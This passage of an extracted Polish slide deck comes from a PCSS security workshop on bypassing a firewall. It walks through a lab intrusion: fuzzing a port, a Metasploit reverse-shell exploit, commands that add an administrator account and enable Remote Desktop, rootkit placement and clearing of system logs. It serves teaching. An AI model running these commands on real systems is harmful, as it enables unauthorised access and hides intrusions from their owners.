![Page 67: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/67.jpg)
Rozpoznanie maszyny
Skan adresu 192.168.1.7
![Page 68: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/68.jpg)
Podpowiedź (!)
Poszukiwany otwarty port: 133XX
![Page 69: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/69.jpg)
Rozpoznanie reakcji na porcie
Skanowanie
Próby połączeń
Testy reakcji na pakiety
![Page 70: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/70.jpg)
Fuzzing na rozpoznany port
Zadanie:
Napisać (odszukać, przystosować) fuzzera
i zaatakować port
![Page 71: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/71.jpg)
Podpowiedź (!)
http://172.168.1.7/fuzzing/fuzz_lan.py
![Page 72: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/72.jpg)
Reakcja usługi na danym procie
Analiza wykonanych czynności i reakcji serwera
![Page 73: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/73.jpg)
Ponowne rozpoznanie portów
Skanowanie
![Page 74: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/74.jpg)
Podpowiedź (!)
Poszukiwany otwarty port: 144XX
![Page 75: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/75.jpg)
Ponowne rozpoznanie usługi
rozpoznanie
atak
explitowanie przez znane luki explitowanie przez znane luki
![Page 76: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/76.jpg)
Podpowiedź (!)
Metasploit
BadBlue
windows/shell/reverse_tcp
![Page 77: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/77.jpg)
Dalsze działanie (1)
Dodanie konta z prawami administratora
![Page 78: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/78.jpg)
Podpowiedź (!)
net user janek janka /add
net localgroup
net localgroup Administratorzy janek /add
![Page 79: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/79.jpg)
Dalsze działanie (2)
Otwieramy dostęp przy pomocy:
Windows XP Remote Desktop
![Page 80: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/80.jpg)
Podpowiedź (!)
Weryfikacja ustawień:Weryfikacja ustawień:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
Zmiana ustawień:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0
![Page 81: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/81.jpg)
Dalsze działania + czyszczenie (1)
Komunikat firewalla – usunięcie (?)
Umieszczenie programu typu rootkit
Ponowne uruchomienie usługi firewalla (Kerio Ponowne uruchomienie usługi firewalla (Kerio Personall Firewall)
![Page 82: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/82.jpg)
Dalsze działania + czyszczenie (2)
Czyszczenie logów systemowych
Usunięcie dodanego konta
Wyłączenie Remote DesktopWyłączenie Remote Desktop
![Page 83: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/83.jpg)
Założenie (!)
Atak przeprowadzamy z sieci lokalnej,
ale Internet jest udostępniony przez inny interfejs,
na którym dostępny dla TCP
jest jedynie port docelowy 80-ty
(dodatkowy system firewall
dla styku sieci lokalnej i Internetu)
![Page 84: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/84.jpg)
Rootkit -> Podpowiedź (!)
WinAPI
DllInjection
lub
IP over DNS
![Page 85: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/85.jpg)
Schemat „wyjścia” rootkita
Proces aplikacji - hostaFW
Wątek podczepiany
![Page 86: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/86.jpg)
Na zakończenieNa zakończenie
garść przydatnej wiedzy garść przydatnej wiedzy ii dyskusjadyskusjagarść przydatnej wiedzy garść przydatnej wiedzy ii dyskusjadyskusja
![Page 87: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/87.jpg)
Shellcody, rootkity, exploitygdzie ich szukać?
INTERNET!!!!INTERNET!!!!
...czego dowodzą dzisiejsze warsztaty!
![Page 88: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/88.jpg)
Ciekawostka – analiza exploita
Kerio Personal Firewall v2.1.4
remote code execution exploit
http://192.168.1.7/exploit/kpf214.txt
![Page 89: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/89.jpg)
Analiza DllInjection – schemat (1)
Start Znalezionohosta?
TAKTAK
NIENIE
Wstrzyknij kod
http://192.168.1.7/winapi/kod.tar.gz
hosta?
![Page 90: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/90.jpg)
Zabezpieczenia !?
Aktualizacja, aktualizacja, aktualizacja (!)
Godny polecenia producent oprogramowania
Dbanie o „czystość” własnego systemuDbanie o „czystość” własnego systemu
Świadome użytkowanie komputera
![Page 91: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/91.jpg)
Dlaczego nacisk na atak, Dlaczego nacisk na atak, a nie na obronę?a nie na obronę?a nie na obronę?a nie na obronę?
??????
91
Dyskusja!Dyskusja!
![Page 92: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/92.jpg)
Informacje kontaktowe Informacje kontaktowe Autorzy prezentacjiAutorzy prezentacji
[email protected]@[email protected]@man.poznan.pl
whlwhlyy@@man.poznan.plman.poznan.pl
mmateuszateusz@@man.poznan.plman.poznan.pl
Centrum Innowacji MicrosoftCentrum Innowacji Microsoft
httphttp://mic.psnc.pl://mic.psnc.pl
[email protected]@man.poznan.pl
PCSSPCSSPCSSPCSS
http://www.pcss.plhttp://www.pcss.pl
Zespół Bezpieczeństwa PCSSZespół Bezpieczeństwa PCSS
httphttp://security.psnc.pl://security.psnc.pl
[email protected]@man.poznan.pl92
![Page 93: Omijanie Firewall](https://reader031.vdocuments.net/reader031/viewer/2022020116/5571f8b149795991698de664/html5/thumbnails/93.jpg)
Pytania i dyskusja, propozycje?Pytania i dyskusja, propozycje?
Dziękujemy za uwagę!Dziękujemy za uwagę!93